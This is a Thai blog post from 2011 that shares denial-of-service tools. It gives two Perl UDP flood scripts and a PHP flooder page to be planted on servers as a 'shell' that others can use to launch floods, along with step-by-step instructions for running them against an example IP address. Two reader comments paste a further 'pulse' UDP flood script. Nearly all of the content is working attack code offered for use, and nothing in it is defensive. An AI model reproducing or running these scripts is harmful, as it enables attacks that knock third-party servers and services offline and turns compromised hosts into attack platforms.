ขอบคุณผู้ที่เข้ามาเยี่ยมชม blogs นี้เป็นอย่างสูง ทางเราจะ update ข้อมูลอย่างต่อเนื่อง โปรดเข้ามาชมได้ตลอด ขอบคุณครับ

วันพุธที่ 21 กันยายน พ.ศ. 2554

แจก Code ต่างๆ ยิง .pl โค้ดหอย

 ------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------
สคริปแรกเลยคือ
udp.pl

เป็นสคริปยิงที่เก่ามากแต่ก้อยังใช้ยิงได้ดีเสมอมา

------------------------------------------------------------------------------------

#!/usr/bin/perl
#####################################################
# udp flood.
#
# By Noname#
# --/odix
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 <ip> <port> <time>n";
printf "if arg1/2 =0, randports/continous packets.n";
exit(1);
}

my ($ip,$port,$size,$time);
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
$iaddr = inet_aton("$ip");

printf "Attack To Server $ip By NoName";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
for (;;) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

randpackets:
for (;;) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}

----------------------------------------------------------------------------


ก๊อป+++แล้วเซ็ฟใส่โน๊ตเพต
save เป็น udp.pl แล้วเอาไว้ที่ไดค์ C:

ดาวโหลดและติดตั้งโปรแกรม ActivePerl-5.10.0.1004
ดาวโหลดได้ที่
http://www.4shared.com/file/j2z2XVH7/ActivePerl-51001004-MSWin32-x8.htm

วิธีใช้งาน ไปที่
Start >> Run >> พิม Cmd
และพิมที่จอ Cmd ว่า
cd
แล้ว Enter 1 ครั้ง
จากนั้นพิมคำสั่งยิง คือ udp.pl ไอพี พอต ทาม
ใส่เลข 0 มีความหมายคือ รันด้อม
เช่น สมมุติว่าผมจะยิงไอพี 217.170.194.225 ผมต้องพิมคำสั่งว่า
udp.pl 217.170.194.225 0 0
จากนั้นกด Enter เท่านี้สคริปก้อสะทำการโจมตีไปที่ไอพี 217.170.194.225 รันด้อมพอต และไม่จำกัดเวลาโจมตี
กด Ctrl + C เมื่อต้องการหยุดยิง
------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------
อะอันต่อไปเป็น config.pl ที่ใช้คู่กับ Shooter.exe หรือ Attack.exe

Perl เหมือนกัน นิยมในกลุ่มทำรีโมทยิงยูส เพราะมีคำสั่งบล๊อคห้ามยิงไอพีเซิฟเวอร์

---------------------------------------------------------------------



#!/usr/bin/perl

##############
# By NoName
##############

use Socket;
use strict;

my ($ip,$port,$size,$time) = @ARGV;

if ($ARGV[0] =="61.19") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="122.155") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="61.47") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="203.170") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="203.146") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="203.145") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="202.52") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="202.142") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="202.151") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="202.44") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="58.64") {
printf "Server No Floodn";
exit();
}
if ($ARGV[0] =="118.175") {
printf "Server No Floodn";
exit();
}

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ipn";
$endtime = time() + ($time ? $time : 150);

socket(flood, PF_INET, SOCK_DGRAM, 17);

print "
+--^----------,---,-----,-----------------^-,
| ||||||||| `----' | By Noname (
`+--------------------^---------------------|
`_,---------,-----,---------------------'
/ XXXXXX / '| /'
/ XXXXXX / ` /'
/ XXXXXX /`---'
/ XXXXXX /
------------
Attacking !! to $ip Good Bye Mother +++er $ip

n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(90-90)+90) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

----------------------------------------------------------------------

ใช้คู่กับ Shooter.exe หรือ Attack.exe

หรือใช้คำสั่ง
cd
config.pl ไอพี พอต ทาม

config.pl 217.170.194.225 0 180

กด Ctrl + C เมื่อต้องการหยุดยิง

------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------ ------------------------------------------------------------------------------------
จัดไป ! โค๊ต Shell.php
เอาไปใส่เซิฟไหนก้อแบ่งลิ้งมาให้ใช้ยิงบ้างนะ

-----------------------------------------------------------------------------

<html><title>Shell</title>
<script type="text/javascript" language="JavaScript">
onClick="this.style.behavior='url(#default#homepage)';
this.setHomePage('http://StealthBooter.in.th');
javascript:window.external. AddFavorite('http://XXXXBooter.in.th'', 'Camfrog, Server, USA, Service, XXXX, sb')
</script>
<body>
<center>
<font color="#FF0000">
<STYLE>
input{
background-color: #FFFFFF; font-size: 10pt; color: #000000; font-family: Tahoma; border: 2 solid #666666;
}
button{
background-color: #0000FF; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
}
body {
background-color: #000000;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = $_GET['time'];

$time = time();
//print "Started: ".time('d-m-y h:i:s')."<br>";
$max_time = $time+$exec_time;

$host = $_GET['host'];

for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b> http://XXXX.in.th</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
IP <br><input type=text name=host><br>
Time <br><input type=text name=time><br>
<input type=submit value=Login></form>';
}else{ echo '<br><b>http://StealthBooter.in.th</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
IP <br><input type=text name=host value=><br>
Time <br><input type=text name=time value=><br><br>
<input type=submit value=Login></form>';
}
?>
<font color="#0000FF"><strong><a href=" http://www.XXXX.in.th/index.php">Forgot Your Password</a></strong></font><br><font color="#FF0000"><strong>Contact US</strong></font><br><font color="#0000FF"><strong><a href="camfrog:add:sHaI2K">sHaI2K (add)</a></strong></font><br>
<table border='0' cellpadding='0' cellspacing='0'><tr><td align="center"><a href='http://www.camfrogservice.in.th' target='_top'><img src='http://XXXX' width="120" border=0></a></td>
</tr><tr><td align='center' valign='top'><a href='http://StealthBooter.in.th' target='_top' style='font-size:10px;font-family:Tahoma;'> http://XXXX.in.th</a><br><font color="#00FF00"><strong>Mobile. : </strong></font><font color="#FF0000"><strong>+6687-0877642</strong></font>
</td></tr></table>
</center>
</body>
</html> 

อันนี้ก็หอย ทำยังไงคงรู้นะครับ
เขียนโดย ที่

4 ความคิดเห็น:

  1. ไม่ระบุชื่อ27 สิงหาคม 2556 เวลา 21:52

    มีแบบโปรเจ็คไหมครับ #C

    ตอบลบ
  2. Unknown10 มิถุนายน 2557 เวลา 06:07

    ความรู้ๆสูบหน่อยๆ

    ตอบลบ
  3. Unknown20 ธันวาคม 2558 เวลา 05:30

    #!/usr/bin/perl -w

    # Simple Perl 5 UDP Pulse Flood v0.1

    use strict;
    use Socket;

    sub flood;
    sub usage;

    if(@ARGV < 2) { &usage(); }

    my $packs_sent = 0;
    my $packs_sec = $ARGV[0];
    my $target_ip = $ARGV[1];
    my $target_host = $target_ip;

    if(!($packs_sec =~ m/^\d+$/) || $packs_sec < 1)
    {
    print "Minimum 1KBPS.\n";
    exit(1);
    }

    # Fix $target_ip or $target_host to be correct, depending on the input
    if($target_host =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/)
    {
    $target_host = gethostbyaddr($target_ip, AF_INET);
    $target_host = "" unless $target_host;
    }
    else
    {
    $target_ip = inet_aton($target_host);
    die "Couldn't translate ",$target_host unless $target_ip;
    $target_ip = inet_ntoa($target_ip);
    die "Couldn't translate opaque ip string" unless $target_ip;
    }

    my $iaddr = inet_aton($target_ip);
    my $proto = getprotobyname('udp');
    my $packet = "X";
    foreach(1..1000) { $packet .= "X"; }
    $packet .= "\015\012";

    print "Beginning udp flood on ",$target_host,"[",$target_ip,"]\n";
    my ($port, $paddr, $i);
    while(1)
    {
    $port = rand(65535) + 1;
    $paddr = sockaddr_in($port, $iaddr);
    socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "socket: $!";
    connect(SOCK, $paddr) or die "connect: $!";
    for($i=0;$i<$packs_sec;$i++)
    {
    print SOCK $packet;
    }
    close(SOCK) or die "close: $!";
    sleep(1);
    $|=1;
    $packs_sent += $packs_sec;
    print "\rPackets sent: ",$packs_sent;
    }

    sub usage
    {
    print "SIMPLE PULSING UDP FLOOD\n";
    print "USAGE:\t./mt_pulse.pl A B\n";
    print "\t A: KBPS to pulse (set to your upstream for best result)\n";
    print "\t B: Target host or IP. (eg. radicalsroar.com OR 127.0.0.1)\n";
    exit(1);
    }







    .................................................................................................................
    ผมไปดูจากเว้บนอกมาก้ใช้ได้นะ

    ตอบลบ
  4. Unknown20 ธันวาคม 2558 เวลา 05:32

    #!/usr/bin/perl -w

    # Simple Perl 5 UDP Pulse Flood v0.1

    use strict;
    use Socket;

    sub flood;
    sub usage;

    if(@ARGV < 2) { &usage(); }

    my $packs_sent = 0;
    my $packs_sec = $ARGV[0];
    my $target_ip = $ARGV[1];
    my $target_host = $target_ip;

    if(!($packs_sec =~ m/^\d+$/) || $packs_sec < 1)
    {
    print "Minimum 1KBPS.\n";
    exit(1);
    }

    # Fix $target_ip or $target_host to be correct, depending on the input
    if($target_host =~ m/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/)
    {
    $target_host = gethostbyaddr($target_ip, AF_INET);
    $target_host = "" unless $target_host;
    }
    else
    {
    $target_ip = inet_aton($target_host);
    die "Couldn't translate ",$target_host unless $target_ip;
    $target_ip = inet_ntoa($target_ip);
    die "Couldn't translate opaque ip string" unless $target_ip;
    }

    my $iaddr = inet_aton($target_ip);
    my $proto = getprotobyname('udp');
    my $packet = "X";
    foreach(1..1000) { $packet .= "X"; }
    $packet .= "\015\012";

    print "Beginning udp flood on ",$target_host,"[",$target_ip,"]\n";
    my ($port, $paddr, $i);
    while(1)
    {
    $port = rand(65535) + 1;
    $paddr = sockaddr_in($port, $iaddr);
    socket(SOCK, PF_INET, SOCK_DGRAM, $proto) or die "socket: $!";
    connect(SOCK, $paddr) or die "connect: $!";
    for($i=0;$i<$packs_sec;$i++)
    {
    print SOCK $packet;
    }
    close(SOCK) or die "close: $!";
    sleep(1);
    $|=1;
    $packs_sent += $packs_sec;
    print "\rPackets sent: ",$packs_sent;
    }

    sub usage
    {
    print "SIMPLE PULSING UDP FLOOD\n";
    print "USAGE:\t./mt_pulse.pl A B\n";
    print "\t A: KBPS to pulse (set to your upstream for best result)\n";
    print "\t B: Target host or IP. (eg. radicalsroar.com OR 127.0.0.1)\n";
    exit(1);
    }







    .................................................................................................................
    ผมไปดูจากเว้บนอกมาก้ใช้ได้นะ

    ตอบลบ

สมัครสมาชิก: ส่งความคิดเห็น (Atom)